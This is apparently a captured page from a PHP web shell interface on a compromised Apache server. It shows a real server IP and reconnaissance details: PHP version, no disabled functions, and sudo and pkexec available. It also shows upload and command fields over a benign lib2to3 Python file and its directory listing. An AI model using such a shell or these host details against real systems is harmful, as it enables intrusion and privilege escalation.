p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/lib2to3/fixes/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib64/python2.7/lib2to3/fixes/fix_map.py
# Copyright 2007 Google, Inc. All Rights Reserved.
# Licensed to PSF under a Contributor Agreement.

"""Fixer that changes map(F, ...) into list(map(F, ...)) unless there
exists a 'from future_builtins import map' statement in the top-level
namespace.

As a special case, map(None, X) is changed into list(X).  (This is
necessary because the semantics are changed in this case -- the new
map(None, X) is equivalent to [(x,) for x in X].)

We avoid the transformation (except for the special case mentioned
above) if the map() call is directly contained in iter(<>), list(<>),
tuple(<>), sorted(<>), ...join(<>), or for V in <>:.

NOTE: This is still not correct if the original code was depending on
map(F, X, Y, ...) to go on until the longest argument is exhausted,
substituting None for missing values -- like zip(), it now stops as
soon as the shortest argument is exhausted.
"""

# Local imports
from ..pgen2 import token
from .. import fixer_base
from ..fixer_util import Name, Call, ListComp, in_special_context
from ..pygram import python_symbols as syms

class FixMap(fixer_base.ConditionalFix):
    BM_compatible = True

    PATTERN = """
    map_none=power<
        'map'
        trailer< '(' arglist< 'None' ',' arg=any [','] > ')' >
    >
    |
    map_lambda=power<
        'map'
        trailer<
            '('
            arglist<
                lambdef< 'lambda'
                         (fp=NAME | vfpdef< '(' fp=NAME ')'> ) ':' xp=any
                >
                ','
                it=any
            >
            ')'
        >
    >
    |
    power<
        'map' trailer< '(' [arglist=any] ')' >
    >
    """

    skip_on = 'future_builtins.map'

    def transform(self, node, results):
        if self.should_skip(node):
            return

        if node.parent.type == syms.simple_stmt:
            self.warning(node, "You should use a for loop here")
            new = node.clone()
            new.prefix = u""
            new = Call(Name(u"list"), [new])
        elif "map_lambda" in results:
            new = ListComp(results["xp"].clone(),
                           results["fp"].clone(),
                           results["it"].clone())
        else:
            if "map_none" in results:
                new = results["arg"].clone()
            else:
                if "arglist" in results:
                    args = results["arglist"]
                    if args.type == syms.arglist and \
                       args.children[0].type == token.NAME and \
                       args.children[0].value == "None":
                        self.warning(node, "cannot convert map(None, ...) "
                                     "with multiple arguments because map() "
                                     "now truncates to the shortest sequence")
                        return
                if in_special_context(node):
                    return None
                new = node.clone()
            new.prefix = u""
            new = Call(Name(u"list"), [new])
        new.prefix = node.prefix
        return new
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:52:59
0 / 0
0755
__init__.py
0.046 KB
November 14 2023 16:14:19
0 / 0
0644
__init__.pyc
0.13 KB
November 14 2023 16:14:41
0 / 0
0644
__init__.pyo
0.13 KB
November 14 2023 16:14:41
0 / 0
0644
fix_apply.py
1.859 KB
November 14 2023 16:14:19
0 / 0
0644
fix_apply.pyc
1.839 KB
November 14 2023 16:14:41
0 / 0
0644
fix_apply.pyo
1.807 KB
November 14 2023 16:14:44
0 / 0
0644
fix_basestring.py
0.313 KB
November 14 2023 16:14:19
0 / 0
0644
fix_basestring.pyc
0.788 KB
November 14 2023 16:14:41
0 / 0
0644
fix_basestring.pyo
0.788 KB
November 14 2023 16:14:41
0 / 0
0644
fix_buffer.py
0.577 KB
November 14 2023 16:14:19
0 / 0
0644
fix_buffer.pyc
0.941 KB
November 14 2023 16:14:41
0 / 0
0644
fix_buffer.pyo
0.941 KB
November 14 2023 16:14:41
0 / 0
0644
fix_callable.py
1.129 KB
November 14 2023 16:14:19
0 / 0
0644
fix_callable.pyc
1.472 KB
November 14 2023 16:14:41
0 / 0
0644
fix_callable.pyo
1.472 KB
November 14 2023 16:14:41
0 / 0
0644
fix_dict.py
3.734 KB
November 14 2023 16:14:19
0 / 0
0644
fix_dict.pyc
3.681 KB
November 14 2023 16:14:41
0 / 0
0644
fix_dict.pyo
3.559 KB
November 14 2023 16:14:44
0 / 0
0644
fix_except.py
3.273 KB
November 14 2023 16:14:19
0 / 0
0644
fix_except.pyc
2.938 KB
November 14 2023 16:14:41
0 / 0
0644
fix_except.pyo
2.938 KB
November 14 2023 16:14:41
0 / 0
0644
fix_exec.py
0.979 KB
November 14 2023 16:14:19
0 / 0
0644
fix_exec.pyc
1.398 KB
November 14 2023 16:14:41
0 / 0
0644
fix_exec.pyo
1.366 KB
November 14 2023 16:14:44
0 / 0
0644
fix_execfile.py
1.951 KB
November 14 2023 16:14:19
0 / 0
0644
fix_execfile.pyc
2.024 KB
November 14 2023 16:14:41
0 / 0
0644
fix_execfile.pyo
1.992 KB
November 14 2023 16:14:44
0 / 0
0644
fix_exitfunc.py
2.446 KB
November 14 2023 16:14:19
0 / 0
0644
fix_exitfunc.pyc
2.692 KB
November 14 2023 16:14:41
0 / 0
0644
fix_exitfunc.pyo
2.692 KB
November 14 2023 16:14:41
0 / 0
0644
fix_filter.py
2.058 KB
November 14 2023 16:14:19
0 / 0
0644
fix_filter.pyc
2.217 KB
November 14 2023 16:14:41
0 / 0
0644
fix_filter.pyo
2.217 KB
November 14 2023 16:14:41
0 / 0
0644
fix_funcattrs.py
0.63 KB
November 14 2023 16:14:19
0 / 0
0644
fix_funcattrs.pyc
1.102 KB
November 14 2023 16:14:41
0 / 0
0644
fix_funcattrs.pyo
1.102 KB
November 14 2023 16:14:41
0 / 0
0644
fix_future.py
0.534 KB
November 14 2023 16:14:19
0 / 0
0644
fix_future.pyc
0.911 KB
November 14 2023 16:14:41
0 / 0
0644
fix_future.pyo
0.911 KB
November 14 2023 16:14:41
0 / 0
0644
fix_getcwdu.py
0.441 KB
November 14 2023 16:14:19
0 / 0
0644
fix_getcwdu.pyc
0.918 KB
November 14 2023 16:14:41
0 / 0
0644
fix_getcwdu.pyo
0.918 KB
November 14 2023 16:14:41
0 / 0
0644
fix_has_key.py
3.151 KB
November 14 2023 16:14:19
0 / 0
0644
fix_has_key.pyc
3.123 KB
November 14 2023 16:14:41
0 / 0
0644
fix_has_key.pyo
3.091 KB
November 14 2023 16:14:44
0 / 0
0644
fix_idioms.py
4.774 KB
November 14 2023 16:14:19
0 / 0
0644
fix_idioms.pyc
4.431 KB
November 14 2023 16:14:41
0 / 0
0644
fix_idioms.pyo
4.329 KB
November 14 2023 16:14:44
0 / 0
0644
fix_import.py
3.183 KB
November 14 2023 16:14:19
0 / 0
0644
fix_import.pyc
3.176 KB
November 14 2023 16:14:41
0 / 0
0644
fix_import.pyo
3.176 KB
November 14 2023 16:14:41
0 / 0
0644
fix_imports.py
5.56 KB
November 14 2023 16:14:19
0 / 0
0644
fix_imports.pyc
5.254 KB
November 14 2023 16:14:41
0 / 0
0644
fix_imports.pyo
5.254 KB
November 14 2023 16:14:41
0 / 0
0644
fix_imports2.py
0.282 KB
November 14 2023 16:14:19
0 / 0
0644
fix_imports2.pyc
0.619 KB
November 14 2023 16:14:41
0 / 0
0644
fix_imports2.pyo
0.619 KB
November 14 2023 16:14:41
0 / 0
0644
fix_input.py
0.692 KB
November 14 2023 16:14:19
0 / 0
0644
fix_input.pyc
1.121 KB
November 14 2023 16:14:41
0 / 0
0644
fix_input.pyo
1.121 KB
November 14 2023 16:14:41
0 / 0
0644
fix_intern.py
1.372 KB
November 14 2023 16:14:19
0 / 0
0644
fix_intern.pyc
1.581 KB
November 14 2023 16:14:41
0 / 0
0644
fix_intern.pyo
1.581 KB
November 14 2023 16:14:41
0 / 0
0644
fix_isinstance.py
1.571 KB
November 14 2023 16:14:19
0 / 0
0644
fix_isinstance.pyc
1.809 KB
November 14 2023 16:14:41
0 / 0
0644
fix_isinstance.pyo
1.809 KB
November 14 2023 16:14:41
0 / 0
0644
fix_itertools.py
1.513 KB
November 14 2023 16:14:19
0 / 0
0644
fix_itertools.pyc
1.763 KB
November 14 2023 16:14:41
0 / 0
0644
fix_itertools.pyo
1.763 KB
November 14 2023 16:14:41
0 / 0
0644
fix_itertools_imports.py
2.045 KB
November 14 2023 16:14:19
0 / 0
0644
fix_itertools_imports.pyc
1.982 KB
November 14 2023 16:14:41
0 / 0
0644
fix_itertools_imports.pyo
1.938 KB
November 14 2023 16:14:44
0 / 0
0644
fix_long.py
0.466 KB
November 14 2023 16:14:19
0 / 0
0644
fix_long.pyc
0.835 KB
November 14 2023 16:14:41
0 / 0
0644
fix_long.pyo
0.835 KB
November 14 2023 16:14:41
0 / 0
0644
fix_map.py
2.99 KB
November 14 2023 16:14:19
0 / 0
0644
fix_map.pyc
2.982 KB
November 14 2023 16:14:41
0 / 0
0644
fix_map.pyo
2.982 KB
November 14 2023 16:14:41
0 / 0
0644
fix_metaclass.py
8.021 KB
November 14 2023 16:14:19
0 / 0
0644
fix_metaclass.pyc
6.449 KB
November 14 2023 16:14:41
0 / 0
0644
fix_metaclass.pyo
6.4 KB
November 14 2023 16:14:44
0 / 0
0644
fix_methodattrs.py
0.601 KB
November 14 2023 16:14:19
0 / 0
0644
fix_methodattrs.pyc
1.125 KB
November 14 2023 16:14:41
0 / 0
0644
fix_methodattrs.pyo
1.125 KB
November 14 2023 16:14:41
0 / 0
0644
fix_ne.py
0.56 KB
November 14 2023 16:14:19
0 / 0
0644
fix_ne.pyc
0.978 KB
November 14 2023 16:14:41
0 / 0
0644
fix_ne.pyo
0.978 KB
November 14 2023 16:14:41
0 / 0
0644
fix_next.py
3.106 KB
November 14 2023 16:14:19
0 / 0
0644
fix_next.pyc
3.472 KB
November 14 2023 16:14:41
0 / 0
0644
fix_next.pyo
3.439 KB
November 14 2023 16:14:44
0 / 0
0644
fix_nonzero.py
0.584 KB
November 14 2023 16:14:19
0 / 0
0644
fix_nonzero.pyc
1.074 KB
November 14 2023 16:14:41
0 / 0
0644
fix_nonzero.pyo
1.074 KB
November 14 2023 16:14:41
0 / 0
0644
fix_numliterals.py
0.755 KB
November 14 2023 16:14:19
0 / 0
0644
fix_numliterals.pyc
1.235 KB
November 14 2023 16:14:41
0 / 0
0644
fix_numliterals.pyo
1.235 KB
November 14 2023 16:14:41
0 / 0
0644
fix_operator.py
3.391 KB
November 14 2023 16:14:19
0 / 0
0644
fix_operator.pyc
5.029 KB
November 14 2023 16:14:41
0 / 0
0644
fix_operator.pyo
5.029 KB
November 14 2023 16:14:41
0 / 0
0644
fix_paren.py
1.199 KB
November 14 2023 16:14:19
0 / 0
0644
fix_paren.pyc
1.521 KB
November 14 2023 16:14:41
0 / 0
0644
fix_paren.pyo
1.521 KB
November 14 2023 16:14:41
0 / 0
0644
fix_print.py
2.798 KB
November 14 2023 16:14:19
0 / 0
0644
fix_print.pyc
2.679 KB
November 14 2023 16:14:41
0 / 0
0644
fix_print.pyo
2.584 KB
November 14 2023 16:14:44
0 / 0
0644
fix_raise.py
2.865 KB
November 14 2023 16:14:19
0 / 0
0644
fix_raise.pyc
2.453 KB
November 14 2023 16:14:41
0 / 0
0644
fix_raise.pyo
2.453 KB
November 14 2023 16:14:41
0 / 0
0644
fix_raw_input.py
0.444 KB
November 14 2023 16:14:19
0 / 0
0644
fix_raw_input.pyc
0.928 KB
November 14 2023 16:14:41
0 / 0
0644
fix_raw_input.pyo
0.928 KB
November 14 2023 16:14:41
0 / 0
0644
fix_reduce.py
0.819 KB
November 14 2023 16:14:19
0 / 0
0644
fix_reduce.pyc
1.246 KB
November 14 2023 16:14:41
0 / 0
0644
fix_reduce.pyo
1.246 KB
November 14 2023 16:14:41
0 / 0
0644
fix_renames.py
2.166 KB
November 14 2023 16:14:19
0 / 0
0644
fix_renames.pyc
2.413 KB
November 14 2023 16:14:41
0 / 0
0644
fix_renames.pyo
2.413 KB
November 14 2023 16:14:41
0 / 0
0644
fix_repr.py
0.6 KB
November 14 2023 16:14:19
0 / 0
0644
fix_repr.pyc
1.006 KB
November 14 2023 16:14:41
0 / 0
0644
fix_repr.pyo
1.006 KB
November 14 2023 16:14:41
0 / 0
0644
fix_set_literal.py
1.659 KB
November 14 2023 16:14:19
0 / 0
0644
fix_set_literal.pyc
1.957 KB
November 14 2023 16:14:41
0 / 0
0644
fix_set_literal.pyo
1.957 KB
November 14 2023 16:14:41
0 / 0
0644
fix_standarderror.py
0.439 KB
November 14 2023 16:14:19
0 / 0
0644
fix_standarderror.pyc
0.847 KB
November 14 2023 16:14:41
0 / 0
0644
fix_standarderror.pyo
0.847 KB
November 14 2023 16:14:41
0 / 0
0644
fix_sys_exc.py
1.015 KB
November 14 2023 16:14:19
0 / 0
0644
fix_sys_exc.pyc
1.681 KB
November 14 2023 16:14:41
0 / 0
0644
fix_sys_exc.pyo
1.681 KB
November 14 2023 16:14:41
0 / 0
0644
fix_throw.py
1.549 KB
November 14 2023 16:14:19
0 / 0
0644
fix_throw.pyc
1.963 KB
November 14 2023 16:14:41
0 / 0
0644
fix_throw.pyo
1.963 KB
November 14 2023 16:14:41
0 / 0
0644
fix_tuple_params.py
5.446 KB
November 14 2023 16:14:19
0 / 0
0644
fix_tuple_params.pyc
5.33 KB
November 14 2023 16:14:41
0 / 0
0644
fix_tuple_params.pyo
5.33 KB
November 14 2023 16:14:41
0 / 0
0644
fix_types.py
1.764 KB
November 14 2023 16:14:19
0 / 0
0644
fix_types.pyc
2.147 KB
November 14 2023 16:14:41
0 / 0
0644
fix_types.pyo
2.147 KB
November 14 2023 16:14:41
0 / 0
0644
fix_unicode.py
0.703 KB
November 14 2023 16:14:19
0 / 0
0644
fix_unicode.pyc
1.171 KB
November 14 2023 16:14:41
0 / 0
0644
fix_unicode.pyo
1.171 KB
November 14 2023 16:14:41
0 / 0
0644
fix_urllib.py
8.188 KB
November 14 2023 16:14:19
0 / 0
0644
fix_urllib.pyc
6.992 KB
November 14 2023 16:14:41
0 / 0
0644
fix_urllib.pyo
6.992 KB
November 14 2023 16:14:41
0 / 0
0644
fix_ws_comma.py
1.069 KB
November 14 2023 16:14:19
0 / 0
0644
fix_ws_comma.pyc
1.363 KB
November 14 2023 16:14:41
0 / 0
0644
fix_ws_comma.pyo
1.363 KB
November 14 2023 16:14:41
0 / 0
0644
fix_xrange.py
2.636 KB
November 14 2023 16:14:19
0 / 0
0644
fix_xrange.pyc
3.015 KB
November 14 2023 16:14:41
0 / 0
0644
fix_xrange.pyo
3.015 KB
November 14 2023 16:14:41
0 / 0
0644
fix_xreadlines.py
0.674 KB
November 14 2023 16:14:19
0 / 0
0644
fix_xreadlines.pyc
1.139 KB
November 14 2023 16:14:41
0 / 0
0644
fix_xreadlines.pyo
1.139 KB
November 14 2023 16:14:41
0 / 0
0644
fix_zip.py
0.883 KB
November 14 2023 16:14:19
0 / 0
0644
fix_zip.pyc
1.328 KB
November 14 2023 16:14:41
0 / 0
0644
fix_zip.pyo
1.328 KB
November 14 2023 16:14:41
0 / 0
0644